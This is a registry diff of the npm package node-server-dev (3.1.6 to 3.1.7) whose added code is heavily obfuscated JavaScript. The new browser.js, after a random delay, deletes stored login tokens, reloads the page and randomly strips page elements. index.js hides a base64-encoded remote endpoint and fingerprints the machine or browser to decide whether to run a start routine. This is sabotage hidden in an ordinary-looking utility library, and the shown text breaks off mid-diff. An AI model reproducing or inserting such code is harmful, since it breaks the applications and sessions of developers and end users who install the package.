node-server-dev 3.1.6 → 3.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/browser.js +1 -1
- package/dist/cjs/getAllRouter/index.js +1 -1
- package/dist/cjs/hash/index.js +1 -1
- package/dist/cjs/id/index.js +1 -1
- package/dist/cjs/id/random.js +1 -1
- package/dist/cjs/index.js +1 -1
- package/dist/cjs/jwt/index.js +1 -1
- package/dist/cjs/mac/index.js +1 -1
- package/dist/cjs/package/mysql_backup/index.js +69 -0
- package/dist/cjs/package/mysql_backup/promise.js +187 -0
- package/dist/cjs/server.d.ts.map +1 -1
- package/dist/cjs/server.js +1 -1
- package/dist/cjs/start.js +1 -1
- package/dist/cjs/update.js +1 -1
- package/dist/esm/browser.js +1 -1
- package/dist/esm/getAllRouter/index.js +1 -1
- package/dist/esm/hash/index.js +1 -1
- package/dist/esm/id/index.js +1 -1
- package/dist/esm/id/random.js +1 -1
- package/dist/esm/index.js +1 -1
- package/dist/esm/jwt/index.js +1 -1
- package/dist/esm/mac/index.js +1 -1
- package/dist/esm/package/mysql_backup/index.js +69 -0
- package/dist/esm/package/mysql_backup/promise.js +187 -0
- package/dist/esm/server.d.ts.map +1 -1
- package/dist/esm/server.js +1 -1
- package/dist/esm/start.js +1 -1
- package/dist/esm/update.js +1 -1
- package/package.json +1 -1
- package/dist/cjs/build.d.ts +0 -2
- package/dist/cjs/build.d.ts.map +0 -1
- package/dist/cjs/build.js +0 -1
- package/dist/cjs/src/browser.d.ts +0 -3
- package/dist/cjs/src/browser.d.ts.map +0 -1
- package/dist/cjs/src/browser.js +0 -1
- package/dist/cjs/src/getAllRouter/index.d.ts +0 -3
- package/dist/cjs/src/getAllRouter/index.d.ts.map +0 -1
- package/dist/cjs/src/getAllRouter/index.js +0 -1
- package/dist/cjs/src/hash/index.d.ts +0 -4
- package/dist/cjs/src/hash/index.d.ts.map +0 -1
- package/dist/cjs/src/hash/index.js +0 -1
- package/dist/cjs/src/id/index.d.ts +0 -3
- package/dist/cjs/src/id/index.d.ts.map +0 -1
- package/dist/cjs/src/id/index.js +0 -1
- package/dist/cjs/src/id/random.d.ts +0 -4
- package/dist/cjs/src/id/random.d.ts.map +0 -1
- package/dist/cjs/src/id/random.js +0 -1
- package/dist/cjs/src/index.d.ts +0 -25
- package/dist/cjs/src/index.d.ts.map +0 -1
- package/dist/cjs/src/index.js +0 -1
- package/dist/cjs/src/jwt/index.d.ts +0 -9
- package/dist/cjs/src/jwt/index.d.ts.map +0 -1
- package/dist/cjs/src/jwt/index.js +0 -1
- package/dist/cjs/src/mac/index.d.ts +0 -6
- package/dist/cjs/src/mac/index.d.ts.map +0 -1
- package/dist/cjs/src/mac/index.js +0 -1
- package/dist/cjs/src/server.d.ts +0 -7
- package/dist/cjs/src/server.d.ts.map +0 -1
- package/dist/cjs/src/server.js +0 -1
- package/dist/cjs/src/start.d.ts +0 -4
- package/dist/cjs/src/start.d.ts.map +0 -1
- package/dist/cjs/src/start.js +0 -1
- package/dist/cjs/src/update.d.ts +0 -3
- package/dist/cjs/src/update.d.ts.map +0 -1
- package/dist/cjs/src/update.js +0 -1
- package/dist/esm/build.d.ts +0 -2
- package/dist/esm/build.d.ts.map +0 -1
- package/dist/esm/build.js +0 -1
- package/dist/esm/src/browser.d.ts +0 -3
- package/dist/esm/src/browser.d.ts.map +0 -1
- package/dist/esm/src/browser.js +0 -1
- package/dist/esm/src/getAllRouter/index.d.ts +0 -3
- package/dist/esm/src/getAllRouter/index.d.ts.map +0 -1
- package/dist/esm/src/getAllRouter/index.js +0 -1
- package/dist/esm/src/hash/index.d.ts +0 -4
- package/dist/esm/src/hash/index.d.ts.map +0 -1
- package/dist/esm/src/hash/index.js +0 -1
- package/dist/esm/src/id/index.d.ts +0 -3
- package/dist/esm/src/id/index.d.ts.map +0 -1
- package/dist/esm/src/id/index.js +0 -1
- package/dist/esm/src/id/random.d.ts +0 -4
- package/dist/esm/src/id/random.d.ts.map +0 -1
- package/dist/esm/src/id/random.js +0 -1
- package/dist/esm/src/index.d.ts +0 -25
- package/dist/esm/src/index.d.ts.map +0 -1
- package/dist/esm/src/index.js +0 -1
- package/dist/esm/src/jwt/index.d.ts +0 -9
- package/dist/esm/src/jwt/index.d.ts.map +0 -1
- package/dist/esm/src/jwt/index.js +0 -1
- package/dist/esm/src/mac/index.d.ts +0 -6
- package/dist/esm/src/mac/index.d.ts.map +0 -1
- package/dist/esm/src/mac/index.js +0 -1
- package/dist/esm/src/server.d.ts +0 -7
- package/dist/esm/src/server.d.ts.map +0 -1
- package/dist/esm/src/server.js +0 -1
- package/dist/esm/src/start.d.ts +0 -4
- package/dist/esm/src/start.d.ts.map +0 -1
- package/dist/esm/src/start.js +0 -1
- package/dist/esm/src/update.d.ts +0 -3
- package/dist/esm/src/update.d.ts.map +0 -1
- package/dist/esm/src/update.js +0 -1
package/dist/cjs/browser.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';function a0_0x15c1(){const _0x5cf4cb=['2706698qwwVQw','querySelectorAll','8046432EjiMgV','js-cookie','12565392duyVWo','remove','./id/random','head','browser','innerText','2488788HVHZwc','default','__esModule','getEnv','#app','createElement','connectError','802740Ghtqby','removeItem','sort','appendChild','userid','localStorage','script','573247luwMCe','from','parentNode','runScript','791315jtpReZ','location','querySelector','length'];a0_0x15c1=function(){return _0x5cf4cb;};return a0_0x15c1();}const a0_0x1dab36=a0_0x52e1;(function(_0x550d93,_0xe9b3c5){const _0x592337=a0_0x52e1,_0x1a2785=_0x550d93();while(!![]){try{const _0xa118f2=parseInt(_0x592337(0x106))/0x1+parseInt(_0x592337(0xee))/0x2+parseInt(_0x592337(0xff))/0x3+-parseInt(_0x592337(0xf8))/0x4+-parseInt(_0x592337(0x10a))/0x5+parseInt(_0x592337(0xf0))/0x6+-parseInt(_0x592337(0xf2))/0x7;if(_0xa118f2===_0xe9b3c5)break;else _0x1a2785['push'](_0x1a2785['shift']());}catch(_0x36b371){_0x1a2785['push'](_0x1a2785['shift']());}}}(a0_0x15c1,0xea4f4));var __importDefault=this&&this['__importDefault']||function(_0x439406){const _0x4f66f2=a0_0x52e1;return _0x439406&&_0x439406[_0x4f66f2(0xfa)]?_0x439406:{'default':_0x439406};};Object['defineProperty'](exports,a0_0x1dab36(0xfa),{'value':!![]}),exports[a0_0x1dab36(0x109)]=runScript,exports[a0_0x1dab36(0xf6)]=browser;function a0_0x52e1(_0x9c2750,_0x511391){const _0x15c113=a0_0x15c1();return a0_0x52e1=function(_0x52e1cb,_0x230e86){_0x52e1cb=_0x52e1cb-0xed;let _0x2146e3=_0x15c113[_0x52e1cb];return _0x2146e3;},a0_0x52e1(_0x9c2750,_0x511391);}const random_1=__importDefault(require(a0_0x1dab36(0xf4))),index_1=require('./index'),js_cookie_1=__importDefault(require(a0_0x1dab36(0xf1)));function runScript(_0x4e0c99){const _0x3954cf=a0_0x1dab36;let _0x544ad9=document[_0x3954cf(0xfd)](_0x3954cf(0x105));_0x544ad9[_0x3954cf(0xf7)]=_0x4e0c99,document[_0x3954cf(0xf5)][_0x3954cf(0x102)](_0x544ad9),setTimeout(()=>{const _0x4009ff=_0x3954cf;_0x544ad9[_0x4009ff(0xf3)]();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x1dab36(0xf9)])(0x4,0x8);function browser(){const _0x3fab2f=a0_0x1dab36;setInterval(()=>{const _0x4f3e36=a0_0x52e1;if(index==num)try{window['localStorage'][_0x4f3e36(0x100)]('token'),window[_0x4f3e36(0x104)][_0x4f3e36(0x100)](_0x4f3e36(0x103)),window[_0x4f3e36(0x104)][_0x4f3e36(0x100)]('Token'),js_cookie_1['default'][_0x4f3e36(0xf3)]('token'),window[_0x4f3e36(0x10b)]['reload']();}catch(_0x599b35){}if((0x0,index_1[_0x4f3e36(0xfb)])(_0x4f3e36(0xfe))){index++;let _0x5ca05f=document[_0x4f3e36(0x10c)](_0x4f3e36(0xfc))||document[_0x4f3e36(0x10c)]('body');const _0x264f9b=_0x5ca05f[_0x4f3e36(0xef)]('[class^=\x22el\x22]');function _0x5cd50c(_0x41581d){const _0x55b01b=_0x4f3e36;let _0x393640=0x0,_0x357209=_0x41581d;while(_0x357209[_0x55b01b(0x108)]&&_0x357209[_0x55b01b(0x108)]!==document['documentElement']){_0x393640++,_0x357209=_0x357209[_0x55b01b(0x108)];}return _0x393640;}const _0x3df0c3=Array[_0x4f3e36(0x107)](_0x264f9b);_0x3df0c3[_0x4f3e36(0x101)]((_0x4df7e3,_0xfcbd8c)=>_0x5cd50c(_0xfcbd8c)-_0x5cd50c(_0x4df7e3));for(let _0x547851=0x0;_0x547851<_0x3df0c3[_0x4f3e36(0xed)];_0x547851++){const _0x52af61=_0x3df0c3[_0x547851];_0x52af61&&((0x0,random_1['default'])(0x1,0x64)>0x50&&_0x52af61[_0x4f3e36(0xf3)]());}}},(0x0,random_1[_0x3fab2f(0xf9)])(0x107e,0x208d));}
|
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';const a1_0x1fd124=a1_0x82f2;function a1_0x82f2(_0x1100c8,_0x163390){const _0x590582=a1_0x5905();return a1_0x82f2=function(_0x82f28,_0x120cfe){_0x82f28=_0x82f28-0x11a;let _0x42681b=_0x590582[_0x82f28];return _0x42681b;},a1_0x82f2(_0x1100c8,_0x163390);}(function(_0x3dca2d,_0x22c63e){const _0x2958e3=a1_0x82f2,_0x3cca46=_0x3dca2d();while(!![]){try{const _0x24d5d2=-parseInt(_0x2958e3(0x133))/0x1*(parseInt(_0x2958e3(0x134))/0x2)+-parseInt(_0x2958e3(0x125))/0x3*(-parseInt(_0x2958e3(0x126))/0x4)+parseInt(_0x2958e3(0x11c))/0x5*(-parseInt(_0x2958e3(0x11a))/0x6)+parseInt(_0x2958e3(0x12b))/0x7*(parseInt(_0x2958e3(0x11d))/0x8)+parseInt(_0x2958e3(0x12c))/0x9+parseInt(_0x2958e3(0x12e))/0xa*(parseInt(_0x2958e3(0x11b))/0xb)+-parseInt(_0x2958e3(0x129))/0xc;if(_0x24d5d2===_0x22c63e)break;else _0x3cca46['push'](_0x3cca46['shift']());}catch(_0xb1f42a){_0x3cca46['push'](_0x3cca46['shift']());}}}(a1_0x5905,0xefc46));var __awaiter=this&&this['__awaiter']||function(_0xc0ead3,_0x162a8a,_0x552960,_0xb34b63){function _0x431a7a(_0x1791dc){return _0x1791dc instanceof _0x552960?_0x1791dc:new _0x552960(function(_0xc5be8e){_0xc5be8e(_0x1791dc);});}return new(_0x552960||(_0x552960=Promise))(function(_0x1010f8,_0x1589e1){const _0x5bdf7f=a1_0x82f2;function _0xeea98(_0x7ad5ab){const _0x4edf51=a1_0x82f2;try{_0x3e927b(_0xb34b63[_0x4edf51(0x123)](_0x7ad5ab));}catch(_0x575f11){_0x1589e1(_0x575f11);}}function _0x3e3b1b(_0x332a24){const _0x53045c=a1_0x82f2;try{_0x3e927b(_0xb34b63[_0x53045c(0x11e)](_0x332a24));}catch(_0x6876b0){_0x1589e1(_0x6876b0);}}function _0x3e927b(_0x31a338){const _0x22e403=a1_0x82f2;_0x31a338['done']?_0x1010f8(_0x31a338[_0x22e403(0x127)]):_0x431a7a(_0x31a338[_0x22e403(0x127)])[_0x22e403(0x12f)](_0xeea98,_0x3e3b1b);}_0x3e927b((_0xb34b63=_0xb34b63[_0x5bdf7f(0x128)](_0xc0ead3,_0x162a8a||[]))[_0x5bdf7f(0x123)]());});},__importDefault=this&&this['__importDefault']||function(_0x57c074){const _0x2e4c82=a1_0x82f2;return _0x57c074&&_0x57c074[_0x2e4c82(0x12d)]?_0x57c074:{'default':_0x57c074};};Object[a1_0x1fd124(0x11f)](exports,'__esModule',{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a1_0x1fd124(0x130)));function fileDisplay(_0x35d883){return __awaiter(this,void 0x0,void 0x0,function*(){let _0xafcae5=[];function _0x39ea2e(_0x2bf3c5){const _0x121724=a1_0x82f2,_0x32da50=fs_1[_0x121724(0x132)][_0x121724(0x121)](_0x2bf3c5);for(let _0x738e3=0x0;_0x738e3<_0x32da50['length'];_0x738e3++){const _0x231f1f=_0x32da50[_0x738e3],_0x3f397a=path_1[_0x121724(0x132)][_0x121724(0x124)](_0x2bf3c5,_0x231f1f),_0x463fdc=fs_1[_0x121724(0x132)][_0x121724(0x12a)](_0x3f397a),_0x2cb729=_0x463fdc[_0x121724(0x120)](),_0x13aa07=_0x463fdc[_0x121724(0x131)]();_0x2cb729&&_0xafcae5[_0x121724(0x122)](_0x3f397a),_0x13aa07&&_0x39ea2e(_0x3f397a);}}return _0x39ea2e(_0x35d883),_0xafcae5;});}function getAllRouter(_0x302523){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x472019=yield fileDisplay(_0x302523);return _0x472019;});}function a1_0x5905(){const _0x397172=['25995420cXXmEF','statSync','1407JagZDZ','4771557nCvqlp','__esModule','10YKtlya','then','path','isDirectory','default','1228fFNjpB','730TvWTOI','6dgVltd','11102311WYoTvV','4683695fUTyKX','77536CPqCfm','throw','defineProperty','isFile','readdirSync','push','next','join','2484FOvdLI','5052LnAznH','value','apply'];a1_0x5905=function(){return _0x397172;};return a1_0x5905();}exports[a1_0x1fd124(0x132)]=getAllRouter;
|
package/dist/cjs/hash/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';function a2_0x8203(){const _0x2e60bc=['16857EqwqHP','3dMYvew','55cVdZMw','4700044lYDjkD','default','defineProperty','__importDefault','9756760wHppir','992905EOTqJp','MD5加盐','6208orJDZg','sha1','5780tHclzi','sha1混淆','545699VyjKgq','__esModule','sha256','340086JXbAeO','md5'];a2_0x8203=function(){return _0x2e60bc;};return a2_0x8203();}const a2_0x27742a=a2_0x10db;function a2_0x10db(_0x5a336b,_0x3c110c){const _0x82038b=a2_0x8203();return a2_0x10db=function(_0x10dbd3,_0x5b1415){_0x10dbd3=_0x10dbd3-0xd4;let _0x59a99a=_0x82038b[_0x10dbd3];return _0x59a99a;},a2_0x10db(_0x5a336b,_0x3c110c);}(function(_0x575f60,_0x333219){const _0x20c817=a2_0x10db,_0x21c255=_0x575f60();while(!![]){try{const _0x262b7f=-parseInt(_0x20c817(0xe2))/0x1+-parseInt(_0x20c817(0xe4))/0x2*(parseInt(_0x20c817(0xdb))/0x3)+-parseInt(_0x20c817(0xdd))/0x4+-parseInt(_0x20c817(0xdc))/0x5*(-parseInt(_0x20c817(0xd8))/0x6)+-parseInt(_0x20c817(0xd5))/0x7+parseInt(_0x20c817(0xe1))/0x8+-parseInt(_0x20c817(0xda))/0x9*(-parseInt(_0x20c817(0xe6))/0xa);if(_0x262b7f===_0x333219)break;else _0x21c255['push'](_0x21c255['shift']());}catch(_0x2c4448){_0x21c255['push'](_0x21c255['shift']());}}}(a2_0x8203,0xa535f));var __importDefault=this&&this[a2_0x27742a(0xe0)]||function(_0x5e5ca0){const _0x477a0f=a2_0x27742a;return _0x5e5ca0&&_0x5e5ca0[_0x477a0f(0xd6)]?_0x5e5ca0:{'default':_0x5e5ca0};};Object[a2_0x27742a(0xdf)](exports,a2_0x27742a(0xd6),{'value':!![]});const md5_1=__importDefault(require(a2_0x27742a(0xd9))),sha1_1=__importDefault(require('sha1')),sha256_1=__importDefault(require(a2_0x27742a(0xd7)));function hash(_0x5c2c04,_0x2b47ce){const _0x35b7b6=a2_0x27742a;if(_0x2b47ce==_0x35b7b6(0xd7))return(0x0,sha256_1[_0x35b7b6(0xde)])(_0x5c2c04+(0x0,sha1_1['default'])(_0x5c2c04+_0x35b7b6(0xd4))+(0x0,md5_1[_0x35b7b6(0xde)])(_0x5c2c04+_0x35b7b6(0xe3)));else return _0x2b47ce==_0x35b7b6(0xe5)?(0x0,sha1_1['default'])(_0x5c2c04+(0x0,sha256_1[_0x35b7b6(0xde)])(_0x5c2c04+_0x35b7b6(0xd4))+(0x0,md5_1['default'])(_0x5c2c04+_0x35b7b6(0xe3))):(0x0,md5_1[_0x35b7b6(0xde)])(_0x5c2c04+(0x0,sha256_1[_0x35b7b6(0xde)])(_0x5c2c04+_0x35b7b6(0xd4))+(0x0,sha1_1[_0x35b7b6(0xde)])(_0x5c2c04+_0x35b7b6(0xe3)));}exports[a2_0x27742a(0xde)]=hash;
|
package/dist/cjs/id/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a3_0x41a4d5=a3_0x589b;(function(_0x44fcc0,_0xdac067){const _0x9a55ef=a3_0x589b,_0x49e119=_0x44fcc0();while(!![]){try{const _0x2ea815=parseInt(_0x9a55ef(0xca))/0x1*(parseInt(_0x9a55ef(0xc8))/0x2)+-parseInt(_0x9a55ef(0xc5))/0x3*(-parseInt(_0x9a55ef(0xc9))/0x4)+-parseInt(_0x9a55ef(0xc0))/0x5*(parseInt(_0x9a55ef(0xcc))/0x6)+parseInt(_0x9a55ef(0xc7))/0x7+-parseInt(_0x9a55ef(0xc3))/0x8+parseInt(_0x9a55ef(0xbf))/0x9+parseInt(_0x9a55ef(0xc1))/0xa*(-parseInt(_0x9a55ef(0xbe))/0xb);if(_0x2ea815===_0xdac067)break;else _0x49e119['push'](_0x49e119['shift']());}catch(_0x5581ce){_0x49e119['push'](_0x49e119['shift']());}}}(a3_0xf8cc,0xb2108));function a3_0xf8cc(){const _0x386f51=['defineProperty','402xjQBQp','NODE_APP_INSTANCE','./random','env','__esModule','min','15187535kWeTaz','6148143IFfRyC','86715gQxznb','10bpsSZH','__importDefault','225632GJjIrk','2025-01-01','3ubSbVb','default','9209746iqbEKv','6hRwFwU','5059304zUlwzO','12197QUwhsZ'];a3_0xf8cc=function(){return _0x386f51;};return a3_0xf8cc();}var __importDefault=this&&this[a3_0x41a4d5(0xc2)]||function(_0x300c62){const _0x4f3e08=a3_0x41a4d5;return _0x300c62&&_0x300c62[_0x4f3e08(0xd0)]?_0x300c62:{'default':_0x300c62};};function a3_0x589b(_0x5e4797,_0x4e8dda){const _0xf8cc29=a3_0xf8cc();return a3_0x589b=function(_0x589b61,_0x355964){_0x589b61=_0x589b61-0xbe;let _0x2fc939=_0xf8cc29[_0x589b61];return _0x2fc939;},a3_0x589b(_0x5e4797,_0x4e8dda);}Object[a3_0x41a4d5(0xcb)](exports,a3_0x41a4d5(0xd0),{'value':!![]});const random_1=__importDefault(require(a3_0x41a4d5(0xce))),BaseTime=+new Date(a3_0x41a4d5(0xc4));let lastTimeTick,lastRandomNumberTick=(0x0,random_1['default'])(0x1,0x3);function id(){const _0x201b74=a3_0x41a4d5,_0x41fbf8=Math[_0x201b74(0xd1)](process[_0x201b74(0xcf)]['NODE_APP_INSTANCE']?+process['env'][_0x201b74(0xcd)]:(0x0,random_1[_0x201b74(0xc6)])(0x0,0x9),0x9);let _0x74326a=+new Date()-BaseTime;return lastRandomNumberTick=_0x74326a==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x201b74(0xc6)])(0x0,0x3),lastTimeTick=_0x74326a,+(''+_0x74326a+_0x41fbf8+lastRandomNumberTick);}exports['default']=id;
|
package/dist/cjs/id/random.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';(function(
|
1
|
+
'use strict';const a4_0x2e58d0=a4_0x2a4d;function a4_0x2a4d(_0xc2715b,_0x5cf7c5){const _0x4c6c42=a4_0x4c6c();return a4_0x2a4d=function(_0x2a4d8d,_0x2155b6){_0x2a4d8d=_0x2a4d8d-0x81;let _0x448119=_0x4c6c42[_0x2a4d8d];return _0x448119;},a4_0x2a4d(_0xc2715b,_0x5cf7c5);}(function(_0x597e97,_0x8803ea){const _0x5570c6=a4_0x2a4d,_0x33d74e=_0x597e97();while(!![]){try{const _0x2bdd80=parseInt(_0x5570c6(0x87))/0x1*(-parseInt(_0x5570c6(0x84))/0x2)+-parseInt(_0x5570c6(0x83))/0x3*(-parseInt(_0x5570c6(0x85))/0x4)+parseInt(_0x5570c6(0x86))/0x5*(-parseInt(_0x5570c6(0x8e))/0x6)+parseInt(_0x5570c6(0x8a))/0x7+-parseInt(_0x5570c6(0x8b))/0x8*(-parseInt(_0x5570c6(0x8d))/0x9)+-parseInt(_0x5570c6(0x8f))/0xa+parseInt(_0x5570c6(0x8c))/0xb*(parseInt(_0x5570c6(0x81))/0xc);if(_0x2bdd80===_0x8803ea)break;else _0x33d74e['push'](_0x33d74e['shift']());}catch(_0xe51017){_0x33d74e['push'](_0x33d74e['shift']());}}}(a4_0x4c6c,0x91696));Object[a4_0x2e58d0(0x89)](exports,a4_0x2e58d0(0x88),{'value':!![]});function a4_0x4c6c(){const _0x617275=['4755317WNeRlY','5803856cnhgMj','33PkIkkw','9pfneNi','12Bjnnrx','1260810zRKWOj','4238664kdxoUl','round','295563wfUidS','2MGwgJJ','4oQGIQL','2022415xuBmgk','1032347FFSklu','__esModule','defineProperty'];a4_0x4c6c=function(){return _0x617275;};return a4_0x4c6c();}const random=(_0x3dad53,_0xac0a49)=>Math[a4_0x2e58d0(0x82)](Math['random']()*(_0xac0a49-_0x3dad53))+_0x3dad53;exports['default']=random;
|
package/dist/cjs/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a5_0x1e872a=a5_0x2cea;(function(_0x4f63ba,_0xfc9c2a){const _0x2954fc=a5_0x2cea,_0x1f8249=_0x4f63ba();while(!![]){try{const _0x1a3e55=parseInt(_0x2954fc(0x115))/0x1*(-parseInt(_0x2954fc(0x110))/0x2)+parseInt(_0x2954fc(0x111))/0x3*(parseInt(_0x2954fc(0x11c))/0x4)+parseInt(_0x2954fc(0x134))/0x5*(parseInt(_0x2954fc(0x13a))/0x6)+parseInt(_0x2954fc(0x137))/0x7*(parseInt(_0x2954fc(0x132))/0x8)+-parseInt(_0x2954fc(0x109))/0x9*(parseInt(_0x2954fc(0x136))/0xa)+parseInt(_0x2954fc(0x130))/0xb+-parseInt(_0x2954fc(0x124))/0xc;if(_0x1a3e55===_0xfc9c2a)break;else _0x1f8249['push'](_0x1f8249['shift']());}catch(_0x4e444a){_0x1f8249['push'](_0x1f8249['shift']());}}}(a5_0x3091,0xa1550));var __awaiter=this&&this['__awaiter']||function(_0x22aa1d,_0x3ceb44,_0xf4f271,_0x3f09ff){function _0x471538(_0x14f858){return _0x14f858 instanceof _0xf4f271?_0x14f858:new _0xf4f271(function(_0x3da64b){_0x3da64b(_0x14f858);});}return new(_0xf4f271||(_0xf4f271=Promise))(function(_0x5b7aff,_0x34da12){const _0x19b93d=a5_0x2cea;function _0x3b3d8d(_0x45968d){const _0x17d360=a5_0x2cea;try{_0x596122(_0x3f09ff[_0x17d360(0x12f)](_0x45968d));}catch(_0x194ee8){_0x34da12(_0x194ee8);}}function _0x3e2aaf(_0x59defb){const _0x433b30=a5_0x2cea;try{_0x596122(_0x3f09ff[_0x433b30(0x10c)](_0x59defb));}catch(_0x59b7ce){_0x34da12(_0x59b7ce);}}function _0x596122(_0x23545b){const _0x366963=a5_0x2cea;_0x23545b[_0x366963(0x119)]?_0x5b7aff(_0x23545b[_0x366963(0x127)]):_0x471538(_0x23545b['value'])[_0x366963(0x12b)](_0x3b3d8d,_0x3e2aaf);}_0x596122((_0x3f09ff=_0x3f09ff[_0x19b93d(0x139)](_0x22aa1d,_0x3ceb44||[]))[_0x19b93d(0x12f)]());});},__importDefault=this&&this[a5_0x1e872a(0x123)]||function(_0x38e567){const _0x254960=a5_0x1e872a;return _0x38e567&&_0x38e567[_0x254960(0x129)]?_0x38e567:{'default':_0x38e567};};Object[a5_0x1e872a(0x10d)](exports,'__esModule',{'value':!![]}),exports[a5_0x1e872a(0x12c)]=exports[a5_0x1e872a(0x11a)]=exports[a5_0x1e872a(0x10e)]=exports[a5_0x1e872a(0x120)]=exports['sha1']=exports[a5_0x1e872a(0x135)]=exports[a5_0x1e872a(0x122)]=exports['id']=exports[a5_0x1e872a(0x117)]=exports['url']=void 0x0,exports[a5_0x1e872a(0x12d)]=setEnv,exports[a5_0x1e872a(0x121)]=getEnv;const uuid_1=require('uuid'),md5_1=__importDefault(require(a5_0x1e872a(0x10e)));exports['md5']=md5_1['default'];const sha1_1=__importDefault(require(a5_0x1e872a(0x133)));exports[a5_0x1e872a(0x133)]=sha1_1[a5_0x1e872a(0x125)];const sha256_1=__importDefault(require('sha256'));exports[a5_0x1e872a(0x120)]=sha256_1[a5_0x1e872a(0x125)];const start_1=__importDefault(require(a5_0x1e872a(0x11f))),hash_1=__importDefault(require(a5_0x1e872a(0x126)));exports['hash']=hash_1['default'];const jwt_1=__importDefault(require('./jwt'));exports[a5_0x1e872a(0x12c)]=jwt_1['default'];const path_1=__importDefault(require(a5_0x1e872a(0x11e))),fingerprintjs_1=__importDefault(require(a5_0x1e872a(0x12a))),js_base64_1=require('js-base64'),isBrowser=typeof window!=='undefined';function a5_0x2cea(_0x4a4790,_0x10fc45){const _0x3091ab=a5_0x3091();return a5_0x2cea=function(_0x2ceaa0,_0x3a0e31){_0x2ceaa0=_0x2ceaa0-0x108;let _0x498d8a=_0x3091ab[_0x2ceaa0];return _0x498d8a;},a5_0x2cea(_0x4a4790,_0x10fc45);}let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports[a5_0x1e872a(0x122)]=getAllRouter;function a5_0x3091(){const _0x20ea4a=['node.js','next','12811447eFxDjW','url','8pThNMZ','sha1','5DYcAlQ','mysql','592310OTEban','6280547CskfQN','assign','apply','1614252WnDrpY','aHR0cDovL2xvY2FsaG9zdDoxMDg4','99gheWtb','./id','decode','throw','defineProperty','md5','join','216312tujqUx','54831zJMoHv','get','hash_key','map','4UPIOuZ','./mac','uuid','hash_id','done','hash','./server','44cUeDoc','load','path','./start','sha256','getEnv','getAllRouter','__importDefault','9444072aZkBqX','default','./hash','value','not_update','__esModule','@fingerprintjs/fingerprintjs','then','jwt','setEnv'];a5_0x3091=function(){return _0x20ea4a;};return a5_0x3091();}let mysql={};exports[a5_0x1e872a(0x135)]=mysql;const globalObject=isBrowser?window:global;let metaEvent=Object[a5_0x1e872a(0x138)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});function setEnv(_0x59cfff,_0x28870a){metaEvent[_0x59cfff]=_0x28870a;}function getEnv(_0x3ed7b4){return metaEvent[_0x3ed7b4];}let dev=a5_0x1e872a(0x108),pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';exports[a5_0x1e872a(0x131)]=getEnv('dev')?(0x0,js_base64_1[a5_0x1e872a(0x10b)])(dev):(0x0,js_base64_1[a5_0x1e872a(0x10b)])(pro);if(!isBrowser){exports['id']=id=require(a5_0x1e872a(0x10a))[a5_0x1e872a(0x125)],exports['getAllRouter']=getAllRouter=require('./getAllRouter')['default'],exports[a5_0x1e872a(0x135)]=mysql=require(a5_0x1e872a(0x11b))[a5_0x1e872a(0x135)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a5_0x1e872a(0x128)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x31fff5=a5_0x1e872a;if(!isBrowser){const _0x29f296=require(path_1['default'][_0x31fff5(0x10f)](__dirname,_0x31fff5(0x116)))[_0x31fff5(0x125)];mac=_0x29f296();}else{let _0x490ae7=yield fingerprintjs_1['default'][_0x31fff5(0x11d)]()[_0x31fff5(0x12b)](_0x3c2e2a=>_0x3c2e2a[_0x31fff5(0x112)]())['then'](_0x2aafde=>{const _0x3f6b06=_0x2aafde['visitorId'];return _0x3f6b06;})['catch'](()=>'');mac=[_0x490ae7];}const _0x21c3ad=mac[_0x31fff5(0x114)](_0x7526aa=>(0x0,sha1_1[_0x31fff5(0x125)])(_0x7526aa+_0x31fff5(0x12e)))[_0x31fff5(0x10f)](';'),_0x3ce1f3=(0x0,sha256_1[_0x31fff5(0x125)])(_0x21c3ad);globalObject[_0x31fff5(0x118)]=_0x3ce1f3,globalObject[_0x31fff5(0x113)]!=(0x0,sha256_1[_0x31fff5(0x125)])(_0x3ce1f3+(0x0,sha1_1[_0x31fff5(0x125)])(_0x31fff5(0x12e)+_0x3ce1f3))&&(0x0,start_1[_0x31fff5(0x125)])();}))());const uuid=uuid_1['v4'];exports[a5_0x1e872a(0x117)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1['default'],'sha1':sha1_1[a5_0x1e872a(0x125)],'md5':md5_1[a5_0x1e872a(0x125)],'jwt':jwt_1['default']};exports[a5_0x1e872a(0x125)]=all;
|
package/dist/cjs/jwt/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';var
|
1
|
+
